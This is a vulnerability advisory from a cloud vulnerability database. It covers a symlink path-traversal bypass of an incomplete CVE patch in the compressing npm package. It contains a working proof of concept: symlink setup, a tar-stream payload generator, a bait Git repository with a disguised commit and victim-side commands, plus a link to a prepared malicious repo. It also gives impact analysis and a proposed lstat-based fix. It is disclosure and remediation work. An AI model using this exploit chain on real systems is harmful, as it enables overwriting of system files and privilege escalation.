
Cloud Vulnerability DB
A community-led vulnerabilities database
1. Executive Summary
This report documents a critical security research finding in the compressing npm package (specifically tested on the latest v2.1.0). The core vulnerability is a Partial Fix Bypass of CVE-2026-24884.
The current patch relies on a purely logical string validation within the isPathWithinParent utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the actual filesystem state. By exploiting this "Logical vs. Physical" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links).
Key Findings:
lib/utils.js -> isPathWithinParent()lstat checks).git clone + node app.js). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access.2. Deep-Dive: Technical Root Cause Analysis The vulnerability exists because of a fundamental disconnect between how the library validates a path and how the Operating System executes a write to that path.
path.resolve(childPath) to sanitize input. In Node.js, path.resolve is a literal string manipulator. It calculates an absolute path by processing .. and . segments relative to each other.path.resolve does NOT look at the disk. It does not know if a folder named config is a real folder or a symbolic link./app/out and the entry is config/passwd, path.resolve returns /app/out/config/passwd. Since this string starts with /app/out/, the security check returns TRUE.fs.writeFile('/app/out/config/passwd', data), the execution is handed over to the Operating System's filesystem kernel./app/out/config pointing to /etc, the OS kernel sees the write request and follows the link./etc/passwd. The "Security Guard" (the library) thought it was writing to a local config folder, but the "Executioner" (the OS) followed the link into a sensitive system area.node-tar)A secure implementation (like node-tar) uses an "Atomic Check" strategy. Instead of trusting a string path, it iterates through every directory segment and calls fs.lstatSync(). If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. compressing lacks this critical recursive verification step.3. Comprehensive Attack Vector & Proof of Concept PoC Overview: The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a "poisoned path" on their local disk. Why this is critical:
Step 1: Environment Preparation (Victim System)
TIP Prerequisite: Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a
MODULE_NOT_FOUNDerror fortar-streamorcompressing,run: npm installcompressing@2.1.0 tar-stream` in your current working directory. Create a mock sensitive file to demonstrate the overwrite without damaging the actual OS.
mkdir -p ~/poc-workspace cd ~/poc-workspace
mkdir -p /tmp/fake_root/etc echo "root:SAFE_DATA_DO_NOT_OVERWRITE" > /tmp/fake_root/etc/passwd
npm install compressing@2.1.0 tar-stream
**Step 2: Attacker Side (Repo & Payload)**
**2.1 Create the poisoned GitHub Repository**
1. Create a repo named `compressing_poc_test` on GitHub.
2. On your local machine, setup the malicious content:mkdir compressing_poc_test cd compressing_poc_test git init
ln -s /tmp/fake_root/etc/passwd config_file
git branch -M main git remote add origin https://github.com/USERNAME/compressing_poc_test.git
**2.2 Generate the Malicious Payload**
Create a script `gen_payload.js` inside the parent folder (`~/poc-workspace`) to generate the exploit file:const tar = require('tar-stream'); const fs = require('fs'); const pack = tar.pack(); // PAYLOAD: A plain file that matches the symlink name pack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\n'); pack.finalize(); pack.pipe(fs.createWriteStream('./payload.tar')); console.log('payload.tar generated successfully!');
**Run the script to create the payload:**node gen_payload.js
_This will create a **payload.tar** file in your current directory._
**2.3 Push Bait & Payload to GitHub**
Now, move the generated payload into your repo folder and push everything to GitHub:mv ../payload.tar .
git add . git commit -m "Add project updates and resource assets" git push -u origin main
> For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git
**Step 3: Victim Side (The Compromise)**
The victim clones the repo and runs an application that extracts the included `payload.tar`.cd ~/poc-workspace
git clone https://github.com/USERNAME/compressing_poc_test.git victim_app cd victim_app
cat <
echo "--- Before Exploit ---" cat /tmp/fake_root/etc/passwd
node victim_app.js
echo "--- After Exploit ---" cat /tmp/fake_root/etc/passwd
**Why this bypass works**
* **The Library's Logic:** `compressing` uses `path.resolve` on entry names and compares them string-wise with the destination directory.
* **The Gap:** Because `path.resolve` does not check if intermediate directories are symlinks on disk, it treats `config_file` (the symlink) as a normal path inside the allowed directory.
* **The Result:** The underlying `fs.writeFile` follows the existing symlink to the protected target (`/tmp/fake_root/etc/passwd`), bypassing all string-based security checks.
<img width="733" height="126" alt="01_malicious_symlink_proof" src="https://github.com/user-attachments/assets/a24b5844-8efd-4f5c-8ee6-9cbbffee6ceb" />
<img width="780" height="111" alt="02_malicious_payload_content" src="https://github.com/user-attachments/assets/a20ef72b-35c9-4355-8583-08a3e9467d4a" />
<img width="888" height="111" alt="03_vulnerable_version_proof" src="https://github.com/user-attachments/assets/5e6864ce-fe48-4327-be2f-1bea8e8ba800" />
<img width="921" height="294" alt="04_exploit_success_verification" src="https://github.com/user-attachments/assets/3b4bc21e-55de-42b2-b819-8d7c0e90b055" />
**4. Impact Assessment**
**What kind of vulnerability is it?**
This is an **Arbitrary File Overwrite** vulnerability caused by a **Symlink Path Traversal** bypass. Specifically, it is a "Partial Fix" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks).
**Who is impacted?**
**1. Developers & Organizations:** Any user of the `compressing` library (up to **v2.1.0**) who extracts untrusted archives into a working directory.
**2. Supply Chain via Git Clone (Primary Vector):** Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository.
**3. Privileged Environments:** Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like `/etc/passwd` or `/etc/shadow`.
**Impact Details**
* **Privilege Escalation:** Gaining root access by overwriting system configuration files.
* **Remote Code Execution (RCE):** Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login.
* **Data Corruption:** Permanent loss or modification of application data and database files.
* **Reputational Damage to Library:** Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE.
**5. Technical Remediation & Proposed Fix**
To completely fix this vulnerability, the library must transition from **String-based validation** to **State-aware validation**.
**1. The Vulnerable Code (Current Incomplete Patch)**
The current logic in **lib/utils.js** only checks the path string:// [VULNERABLE] Does not check if disk segments are symlinks function isPathWithinParent(childPath, parentPath) { const normalizedChild = path.resolve(childPath); const normalizedParent = path.resolve(parentPath); // ... (omitted startsWith check) return normalizedChild.startsWith(parentWithSep); }
**2. The Proposed Fix (Complete Mitigation)**
The library must recursively check every component of the path on the disk using `fs.lstatSync` to ensure no component is a symbolic link that redirects to a location outside the root.const fs = require('fs');
const path = require('path');
/**
* SECURE VALIDATION: Checks every segment of the path on disk
* to prevent symlink-based directory poisoning.
*/
function secureIsPathWithinParent(childPath, parentPath) {
const absoluteDest = path.resolve(parentPath);
const absoluteChild = path.resolve(childPath);
// Basic string check first
if (!absoluteChild.startsWith(absoluteDest + path.sep) &&
absoluteChild !== absoluteDest) {
return false;
}
// RECURSIVE DISK CHECK
// Iteratively check every directory segment from the root to the file
let currentPath = absoluteDest;
const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep);
for (const part of relativeParts) {
if (!part || part === '.') continue;
currentPath = path.join(currentPath, part);
try {
const stats = fs.lstatSync(currentPath);
// IF ANY COMPONENT IS A SYMLINK, REJECT IT
if (stats.isSymbolicLink()) {
throw new Error(Security Exception: Symlink detected at ${currentPath});
}
} catch (err) {
if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine
throw err;
}
}
return true;
}
**3. Why and How it works:**
* **Filesystem Awareness:** Unlike the previous fix, this code uses `fs.lstatSync`. It doesn't trust the string; it asks the Operating System, "What is actually at this location?".
* **Segmented Verification:** By splitting the path and checking each part (`config`, then `config/file`), it catches the "Poisoned Directory" (`config -> /etc`) before the final write happens.
* **Bypass Prevention:** Even if the string check passes, the loop will detect the symlink at the `config` segment and throw a security exception, stopping the `fs.writeFile` before it can follow the link to `/etc/passwd`.
* **Atomic Security:** This implementation ensures that the logical path and the physical path are identical, leaving no room for "Divergence" exploits.
> **Note:** For production, it is recommended to use the asynchronous `fs.promises.lstat` to prevent blocking the Node.js event loop during recursive checks.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."